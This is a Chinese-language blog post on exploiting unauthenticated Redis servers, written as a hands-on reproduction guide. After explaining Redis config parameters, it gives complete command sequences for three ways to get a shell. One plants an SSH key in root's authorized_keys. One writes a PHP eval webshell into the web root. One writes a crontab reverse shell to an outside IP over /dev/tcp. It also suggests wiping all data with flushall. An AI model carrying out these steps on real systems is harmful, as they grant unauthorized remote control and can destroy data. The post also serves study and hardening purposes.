redis未授权访问

redis 未授权访问

免责声明:由于传播、利用本文章所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,本篇文章作者不为此承担任何责任,一旦造成后果请自行承担!

简介

Redis 全称 Remote Dictionary Server(即远程字典服务),它是一个基于内存(当然也可以把其存储至硬盘上,这也是写shell的必要条件之一)实现的键值型非关系(NoSQL)数据库。Redis 免费开源,其最新稳定版本是 6.2.x(2022/11/10),版本更新参见

实战中Redis常用命令

redis-cli -h ip -p 6379 -a passwd   # 外部连接,Redis 的连接除了通过指定 IP,也可以通过指定域名
info 																# 查看相关redis信息
set xz "Hacker"                     # 设置键xz的值为字符串Hacker
get xz                              # 获取键xz的内容
INCR score                          # 使用INCR命令将score的值增加1
keys *                              # 列出当前数据库中所有的键
config set protected-mode no        # 关闭安全模式
get anotherkey                      # 获取一个不存在的键的值
config set dir /root/redis          # 设置保存目录
config set dbfilename redis.rdb     # 设置保存文件名
config get dir                      # 查看保存目录
config get dbfilename               # 查看保存文件名
save                                # 进行一次备份操作
flushall                            # 删除所有数据
del key                             # 删除键为key的数据
slaveof ip port                 		# 设置主从关系

使用SET和GET命令,可以完成基本的赋值和取值操作;
Redis是不区分命令的大小写的,set和SET是同一个意思;
使用keys *可以列出当前数据库中的所有键;
当尝试获取一个不存在的键的值时,Redis会返回空,即(nil);
如果键的值中有空格,需要使用双引号括起来,如"Hello World";

Redis.conf 配置文件参数

正常redis.conf文件路径/etc/redis/redis.conf

port参数:
    格式为port后面接端口号,如port 6379,表示Redis服务器将在6379端口上进行监听来等待客户端的连接。

bind参数:
    格式为bind后面接IP地址,可以同时绑定在多个IP地址上,IP地址之间用空格分离,如bind 192.168.47.173 10.0.0.1,表允许192.168.47.173和10.0.0.1两个IP连接。如果设置为0.0.0.0则表示任意ip都可连接,说白了就是白名单。

save参数:
    格式为save <秒数> <变化数>,表示在指定的秒数内数据库存在指定的改变数时自动进行备份(Redis是内存数据库,这里的备份就是指把内存中的数据备份到磁盘上)。可以同时指定多个save参数,如:
        save 900 1
        save 300 10
        save 60 10000
    表示如果数据库的内容在60秒后产生了10000次改变,或者300秒后产生了10次改变,或者900秒后产生了1次改变,那么立即进行备份操作。

requirepass参数:
    格式为requirepass后接指定的密码,用于指定客户端在连接Redis服务器时所使用的密码。Redis默认的密码参数是空的,说明不需要密码即可连接;同时,配置文件有一条注释了的requirepass foobared命令,如果去掉注释,表示需要使用foobared密码才能连接Redis数据库。

dir参数:
    格式为dir后接指定的路径,默认为dir ./,指明Redis的工作目录为当前目录,即redis-server文件所在的目录。注意,Redis产生的备份文件将放在这个目录下。

dbfilename参数:
    格式为dbfilename后接指定的文件名称,用于指定Redis备份文件的名字,默认为dbfilename dump.rdb,即备份文件的名字为dump.rdb。

config命令:
    通过config命令可以读取和设置dir参数以及dbfilename参数,因为这条命令比较危险(实验将进行详细介绍),所以Redis在配置文件中提供了rename-command参数来对其进行重命名操作,如rename-command CONFIG HTCMD,可以将CONFIG命令重命名为HTCMD。配置文件默认是没有对CONFIG命令进行重命名操作的。

protected-mode参数:
    redis3.2之后添加了protected-mode安全模式,默认值为yes,开启后禁止外部连接,所以在测试时,先在配置中修改为no。

当我们获得了一个 redis 控制台,我们可以调用 config set/get 等命令对 redis 的部分配置进行修改。而恰好的是,我们可以通过config set来更改dir和dbfilename。也就是说我们可以不用修改redis.conf,也不用重启 redis 服务就可以写入任意文件。
所以这两步加上下面的 save 这一步是把上面在内存中写入的公钥写入到 /root/.ssh/authorized_keys 这一个硬盘上的文件中。

redis未授权漏洞原理

Redis默认配置过程中无需设置密码,可能造成空口令风险。这种情况下只要连接的Redis服务器的host和port正确,且攻击机安装redis客户端就可以成功连接,存在类似风险的数据库服务器还有MONGODB
Redis安装默认情况下,会绑定在0.0.0.0:6379,如果没有限制来源IP并且没有设置密码(所以这也是两种修复手段),就会导致攻击者非法访问,读取Redis的数据,利用自身config命令进行写入操作。Redis 是常见内网服务。其他的常见内网服务还有如 Structs2 和 Elastic。

漏洞的影响版本

Redis 2.x,3.x,4.x,5.x

未授权漏洞复现

  • 未授权 Redis 拿 shell 的 3 种方式
通过写 SSH key
通过向 Web 目录中写入 webshell
通过写 crontab 计划任务

nmap扫描端口发现redis服务

image

无密码未授权实现直接访问,然后可以执行redis命令操作,并通过info查看reids服务端信息

image

组合拳攻击 三种拿shell方式

落地ssh公钥免密登录

攻击机生成公钥

ssh-keygen -t rsa

防止其他数据干扰给在公钥内容前后加入换行:

(echo -e "\n\n"; cat /home/kali/.ssh/id_rsa.pub; echo -e "\n\n") > may.txt

或者是\r\n
最好在公钥内容的前面和后面都加上一点空格和回车,不然数据库的其它内容可能会造成影响。

把公钥写入到一个 key 里面,这个例子中是写入了 may 这个 key。

cat may.txt | redis-cli -h host -x set may
注: -x 代表从标准输入读取数据作为该命令的最后一个参数。

image

设置 rdb 文件存放的路径

config set dir /root/.ssh
#dir设置为一个目录/root/.ssh

设置 rdb 文件的文件名

config set dbfilename "authorized_keys"
#dbfilename设置为文件名authorized_keys

image

保存。

save
#写入一个路径为/root/.ssh/authorized_keys文件:
exit
#Redis 的数据主要保存在内存中,但使用者可以随时执行 save 命令将当前 Redis 的数据保存到硬盘上,另外redis也会根据配置自动存储数据到硬盘上。

ssh尝试登陆:

ssh root@192.168.47.173 注意authorized_keys写入的目录,也就是登录的用户

image

写入公钥这种方法无法适用于 Windows 主机的。(判断是 Windows 机器还是 Linux 机器可以通过下图所示的命令根据路径判断,下图为Linux下)

image

而且随着对安全的重视,越来越少运维会直接以 root 起 Redis 的,这样就无法直接往/root/.ssh目录下写公钥,当然写入的目录不于/root/.ssh下的authorized_keys,也可以写入用户目录。那么要多一个猜用户的步骤。相较之下,直接写 webshell 和写计划任务两种方式相对方便一点

利用redis写webshell

利用条件:

  • 知道网站根目录绝对路径(实际渗透过程中,这个方法通常需要搭配 phpinfo() 等方法使用。)
  • 无需是 root 起的 Redis
  • 可适用于 Windows(非 ssh 连接)
  • 一般无需 flushall 清空数据库(一定情况下也需要)

利用方法

设置保存路径

config set dir /var/www/html (网站根目录的绝对路径)

修改保存文件名

config set dbfilename xxx.php

将键值写入文件

set xxx "\r\n\r\n<?php eval($_REQUEST['cmd']);?>\r\n\r\n"
#xxx为键名,可以随意设置但是不能包含特殊字符或空格以免引起解析问题
#\r\n\r\n 代表换行的意思,用redis写入文件的会自带一些版本信息,如果不换行可能会导致无法执行

保存

SAVE
EXIT

redis写webshell有一种情况会写入失败,当redis起的服务没有写权限时会写入错误

image

注意
redis在生产环境里面数据量经常是十分庞大的,save到php文件里会超过php的允许文件大小(2M)asp(30M),导致无法解析,而且save也不支持仅写入某个数据库,而是只能保存整个redis的实例,所以select到某个空数据库来写入shell也是无法试验的

解决办法

直接flushall全删掉即可。或者先备份再删,之后再进行恢复。(慎重操作)

redis-cli -h host flushall

通过写crontab计划任务getshell

利用条件:

通过写 crontab 的方式 getshell :

  • 无需 flushall 清空数据
    注意,这里并不是因为写计划任务本身无需 flushall,而是因为redis-cli set 1 'ringzero'这样的语法可以控制第一条记录,就能保证你的内容始终保持在最前面。redis-cli set % 'test'就是一个标准用法,因为百分号比1的优先级更高。
  • 无需是 root 起的 Redis。

默认root用户的话写到/var/spool/cron/crontabs/root下,如果不是root用户也需要猜测用户名。

  • 不适用于 Windows 服务器

Windows 场景下没有计划任务,可以尝试一下写入启动项。理论上可以尝试写文件到用户启动项,但是现实是 Windows 普通用户没有计划任务权限。

具体步骤

计划任务默认存储路径/var/spool/cron

redis-cli -h 192.168.47.173 -p 6379 #连接目标redis服务

set z "\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.47.163/4433 0>&1\n\n"

#设置写入的内容,在计划任务前后加入换行以确保写入的计划任务可以被正常解析,每分钟执行一次/bin/bash -i >& /dev/tcp/192.168.47.163/4433 0>&1

config set dir /var/spool/cron    #设置备份路径

config set dbfilename root    #设置备份文件名

save          #保存

效果:

image

image

参考

https://blog.csdn.net/qq_36375207/article/details/122469295

面试经典 Redis未授权漏洞与组合拳 - FreeBuf网络安全行业门户

posted @ 2022-12-12 16:58  axing的星空  阅读(2344)  评论(0编辑  收藏  举报